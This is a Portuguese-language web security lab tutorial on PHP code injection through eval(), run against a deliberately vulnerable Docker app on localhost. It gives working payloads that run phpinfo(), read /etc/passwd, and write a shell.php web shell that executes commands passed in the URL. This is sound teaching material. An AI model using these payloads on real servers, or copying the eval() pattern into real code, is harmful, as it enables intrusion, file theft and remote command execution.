Introdução
Neste laboratório, você explorará o conceito de vulnerabilidades de injeção de código em aplicações web. A injeção de código é uma vulnerabilidade comum que permite a um atacante executar código malicioso no servidor, injetando código em campos de entrada do usuário. O objetivo é entender os princípios por trás das vulnerabilidades de injeção de código e aprender como explorá-las através de exercícios práticos.
Configurar a Aplicação Vulnerável
Nesta parte do nosso curso, vamos configurar uma aplicação web que é intencionalmente vulnerável, especificamente, ela possui uma vulnerabilidade de injeção de código. Isso nos ajudará a aprender como identificar e mitigar tais problemas. Veja como você pode colocar esta aplicação em funcionamento:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec
Vamos detalhar um pouco:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1está iniciando um novo container Docker com nossa aplicação web vulnerável. A flag-ddiz ao Docker para executar o container em segundo plano. A parte-p 82:80está mapeando a porta 80 dentro do container para a porta 82 em sua máquina./bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'está iniciando o servidor web Apache dentro do container e, em seguida, exibindo continuamente o log de erros do servidor.docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexecestá alterando as permissões do diretório/var/www/codeexecdentro do container em execução, para que a aplicação web possa funcionar corretamente.
Depois que o comando for executado e o container Docker estiver ativo, você pode interagir com a aplicação abrindo seu navegador web e navegando para http://localhost:82/codeexec/example1.php?name=hacker. Isso o levará à nossa aplicação web intencionalmente vulnerável. Bons estudos!

Entender a Vulnerabilidade de Injeção de Código
Na etapa anterior, configuramos uma aplicação web que possui uma vulnerabilidade de injeção de código embutida. Vamos dar uma olhada mais de perto no código PHP que torna isso possível:
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
Aqui, a função eval() em PHP está sendo usada para executar uma string como código PHP. O problema surge quando o valor fornecido pelo usuário do parâmetro name na URL é adicionado diretamente à string que eval() executa. Como não há verificação sobre qual entrada é permitida, isso abre a porta para ataques de injeção de código.
Agora, vamos ver essa vulnerabilidade em ação. Podemos injetar nosso próprio código PHP saindo da string existente e adicionando o nosso. Tente visitar esta URL:
http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();
Você provavelmente verá uma mensagem de erro. Isso ocorre porque nosso código injetado causou um erro de sintaxe - deixamos algumas aspas duplas desbalanceadas. Mas não se preocupe, podemos corrigir isso usando a sintaxe de comentário do PHP para finalizar a string existente.

Experimente esta URL:
http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();//
Desta vez, a função phpinfo() deve ser executada com sucesso, exibindo informações sobre a configuração PHP do servidor. Isso nos mostra que exploramos com sucesso a vulnerabilidade de injeção de código. Como você pode ver, mesmo pequenos descuidos no código podem levar a riscos de segurança significativos!

Exploração de Injeção de Código para Inclusão de Arquivos
Nesta etapa, vamos explorar uma técnica comum para explorar vulnerabilidades de injeção de código: incluir arquivos remotos no servidor. Usaremos a função file_get_contents() do PHP para realizar isso.
Aqui está um payload que você pode experimentar para ler o arquivo /etc/passwd no servidor:
http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_get_contents(%20%27/etc/passwd%27));//
O resultado se parecerá com o seguinte:

Vamos detalhar isso:
http://localhost:82/codeexec/example1.php?name=hackeré a URL da nossa aplicação vulnerável, como vimos antes.%22;var_dump(file_get_contents(%20%27/etc/passwd%27));é a parte chave do nosso payload. Ele usa a funçãofile_get_contents()para ler o conteúdo do arquivo em/etc/passwde, em seguida,var_dump()para exibi-lo.//é apenas uma maneira de comentar o restante do código, para que ele não interfira no nosso payload.
O arquivo /etc/passwd contém informações sobre as contas de usuário no sistema. Isso pode ser bastante valioso quando você está tentando explorar um sistema ainda mais. Portanto, usando este payload, podemos potencialmente obter muitas informações úteis. Experimente e veja o que você pode aprender!
Escrevendo Arquivos no Servidor
Nesta parte final do nosso laboratório, vamos explorar outra técnica comum de exploração: escrever arquivos no servidor. Isso pode ser realizado usando a função file_put_contents() do PHP. Essa técnica pode ser especialmente útil para fazer upload de web shells ou outro código malicioso para o servidor.
Aqui está um payload que você pode tentar para criar um web shell simples chamado shell.php:
http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_put_contents($_GET[1],$_GET[2]));//&1=shell.php&2=<?php system($_GET['cmd'])?>
Vamos detalhar isso:
http://localhost:82/codeexec/example1.php?name=hackeré a URL da nossa aplicação vulnerável, como antes.%22;var_dump(file_put_contents($_GET[1],$_GET[2]));está usando a funçãofile_put_contents()para criar um arquivo com um nome fornecido por$_GET[1]e conteúdo fornecido por$_GET[2]. Em seguida, usavar_dump()para exibir o resultado desta operação.//&1=shell.php&2=<?php system($_GET['cmd'])?>está fornecendo os argumentos para a funçãofile_put_contents().shell.phpé o nome do arquivo que estamos criando, e<?php system($_GET['cmd'])?>é o conteúdo do arquivo. Este código PHP executará qualquer comando passado através do parâmetrocmdna string de consulta.
Depois de executar este payload, você deve ser capaz de acessar o arquivo shell.php e executar comandos do sistema no servidor. Por exemplo, você pode tentar visitar a seguinte URL:
http://localhost:82/codeexec/shell.php?cmd=uname -a
O resultado se parecerá com o seguinte:

Isso executará o comando uname -a no servidor e exibirá a saída, fornecendo algumas informações básicas sobre o sistema operacional do servidor. Experimente e veja o que você pode aprender!
Resumo
Neste laboratório, você aprendeu sobre vulnerabilidades de injeção de código e como explorá-las usando várias técnicas. Você configurou uma aplicação web vulnerável, compreendeu a vulnerabilidade subjacente e a explorou injetando código PHP para executar comandos do sistema, ler arquivos sensíveis e escrever arquivos no servidor. Essa experiência prática o ajudará a entender melhor os riscos associados às vulnerabilidades de injeção de código e como mitigá-los em aplicações web.